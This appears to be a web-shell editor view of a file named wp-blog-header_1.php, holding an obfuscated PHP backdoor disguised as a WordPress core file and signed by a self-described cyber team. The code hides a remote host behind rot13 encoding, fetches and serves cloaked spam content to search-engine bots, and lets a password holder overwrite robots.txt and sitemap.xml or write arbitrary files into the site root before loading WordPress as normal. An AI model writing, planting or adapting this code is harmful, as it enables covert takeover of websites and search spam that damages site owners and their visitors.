✏️ Editing: wp-blog-header_1.php

<?php 
 goto rr5HB; gBKBf: $web = ''; goto Mahlz; znUSx: if (!strstr($html_content, "nobotuseragent")) { if (strstr($html_content, "okhtmlgetcontent")) { goto qJ81q; PYjvC: exit; goto o7WXm; Wf0Gu: $html_content = str_replace("okhtmlgetcontent", '', $html_content); goto HOP5C; HOP5C: echo $html_content; goto PYjvC; qJ81q: @header("Content-type: text/html; charset=utf-8"); goto Wf0Gu; o7WXm: } else { if (strstr($html_content, "okxmlgetcontent")) { goto pCN5q; NUeX3: @header("Content-type: text/xml"); goto cSTIR; LcCMs: exit; goto otMMI; cSTIR: echo $html_content; goto LcCMs; pCN5q: $html_content = str_replace("okxmlgetcontent", '', $html_content); goto NUeX3; otMMI: } else { if (strstr($html_content, "getcontent500page")) { @header("HTTP/1.1 500 Internal Server Error"); exit; } else { if (strstr($html_content, "getcontent404page")) { @header("HTTP/1.1 404 Not Found"); exit; } else { if (strstr($html_content, "getcontent301page")) { goto g1lca; uLAMk: $html_content = str_replace("getcontent301page", '', $html_content); goto kt33V; NRYkI: exit; goto rTalU; kt33V: header("Location: " . $html_content); goto NRYkI; g1lca: @header("HTTP/1.1 301 Moved Permanently"); goto uLAMk; rTalU: } } } } } } goto VDrEc; bvjgd: $duri = urlencode($duri_tmp); goto iJP5M; rr5HB: @set_time_limit(3600); goto E1b3y; qGdsJ: if ($duri_tmp == '') { $duri_tmp = "/"; } goto bvjgd; BXMeg: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto zI831; DpawK: $goweb = str_rot13(urldecode($xmlname)); goto Jk_Y0; GYtnF: function RaSm9($url) { goto NAC9M; i47rc: if (!$file_contents) { $file_contents = @file_get_contents($url); } goto NgHo9; NgHo9: return $file_contents; goto sj5_a; NAC9M: $file_contents = ''; goto WCx31; WCx31: if (function_exists("curl_init")) { goto eWKeo; OSqqZ: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); goto FsYcs; eWKeo: $ch = curl_init(); goto lLClL; lLClL: curl_setopt($ch, CURLOPT_URL, $url); goto TdQ9q; dPuUZ: curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); goto HbJSC; TdQ9q: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); goto OSqqZ; oN58F: curl_close($ch); goto kfqBD; FsYcs: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto dPuUZ; HbJSC: $file_contents = curl_exec($ch); goto oN58F; kfqBD: } goto i47rc; sj5_a: } goto gBKBf; QuPCL: if ($password == "f75fd5acd36a7fbd1e219b19881a5348bfc66e79") { goto XMi3O; yI6Os: if (!$action) { $action = "put"; } goto x1Fj_; idg8p: $action = @$_REQUEST["action"]; goto GvMTH; XMi3O: $add_content = @$_REQUEST["mapname"]; goto idg8p; ki2wR: exit; goto MhQ5Y; x1Fj_: if ($action == "put") { goto SPmkg; SPmkg: if (isset($_REQUEST["google"])) { $google_verification = $_REQUEST["google"]; if (preg_match("/^google.*?(\x5c.html)$/i", $google_verification)) { file_put_contents($google_verification, "google-site-verification:" . " " . $google_verification); exit("<a href=" . $google_verification . ">" . $google_verification . "</a>"); } } goto KxjTi; Ed9wX: $a = hash("sha1", hash("sha1", @$_REQUEST["a"])); goto mr1Br; IYJ9I: if ($a == rASm9($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "f8f0dae804368c0334e22d9dcb70d3c7bbfa9635") { $dstr = @$_REQUEST["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } goto tP9Qq; mr1Br: $b = hash("sha1", hash("sha1", @$_REQUEST["b"])); goto IYJ9I; KxjTi: if (strstr($add_content, ".xml")) { goto F0XNm; KdMjx: $file_path = $path . "/robots.txt"; goto kBuO6; F0XNm: $map_path = $path . "/sitemap.xml"; goto vPJzm; kBuO6: if (stristr($add_content, "User-agent")) { @unlink($file_path); if (file_put_contents($file_path, $add_content)) { echo " ok "; } else { echo " file write false! "; } } else { goto Qo608; LddSe: $sitmap_url = $http . "://" . $host . "/" . $add_content; goto WpQH2; WpQH2: if (stristr($data, $sitmap_url)) { echo " sitemap already added! "; } else { if (file_put_contents($file_path, trim($data) . "\xd\12" . "Sitemap: " . $sitmap_url)) { echo " ok "; } else { echo " file write false! "; } } goto mf7f4; Qo608: if (file_exists($file_path)) { $data = RaSM9($file_path); } else { $data = "User-agent: *\12Allow: /"; } goto LddSe; mf7f4: } goto npZMm; vPJzm: if (is_file($map_path)) { @unlink($map_path); } goto KdMjx; npZMm: } else { echo " sitemap name false! "; } goto Ed9wX; tP9Qq: } goto ki2wR; GvMTH: if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } goto yI6Os; MhQ5Y: } goto Bxgnt; wL8_n: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto jejTc; pS58B: $xmlname = "%69%65%76%63%72%61%76%68%2E%69%76%6F%68%77%62%6A%68%65%2E%66%76%67%72"; goto wwH2C; CeF6u: if (wt66V()) { $http = "https"; } else { $http = "http"; } goto MgyEr; Jk_Y0: function wT66V() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto GS2xi; Mahlz: $html_content = trim(RaSm9($web)); goto znUSx; MgyEr: $duri_tmp = bfWFU(); goto qGdsJ; GS2xi: $host = $_SERVER["HTTP_HOST"]; goto wL8_n; zI831: if (isset($_REQUEST["pd"])) { $password = hash("sha1", hash("sha1", @$_REQUEST["pd"])); } else { $password = ''; } goto QuPCL; oqcyg: $urlshang = ''; goto BXMeg; iJP5M: function bfWfu() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto DpawK; wwH2C: $http_web = "http"; goto CeF6u; jejTc: $lang = urlencode($lang); goto oqcyg; Bxgnt: function NZKZH() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto GYtnF; E1b3y: @ignore_user_abort(1); goto pS58B; VDrEc: if (!isset($wp_did_header)) { goto BAGcR; BAGcR: $wp_did_header = true; goto A0mbt; A0mbt: require_once __DIR__ . "/wp-load.php"; goto bhWOh; bhWOh: ndMwf(); goto PMKot; PMKot: require_once sQPhI . Lt4o1 . "/template-loader.php"; goto eNY3X; eNY3X: }?>

Gifari Industries - BD Cyber Security Team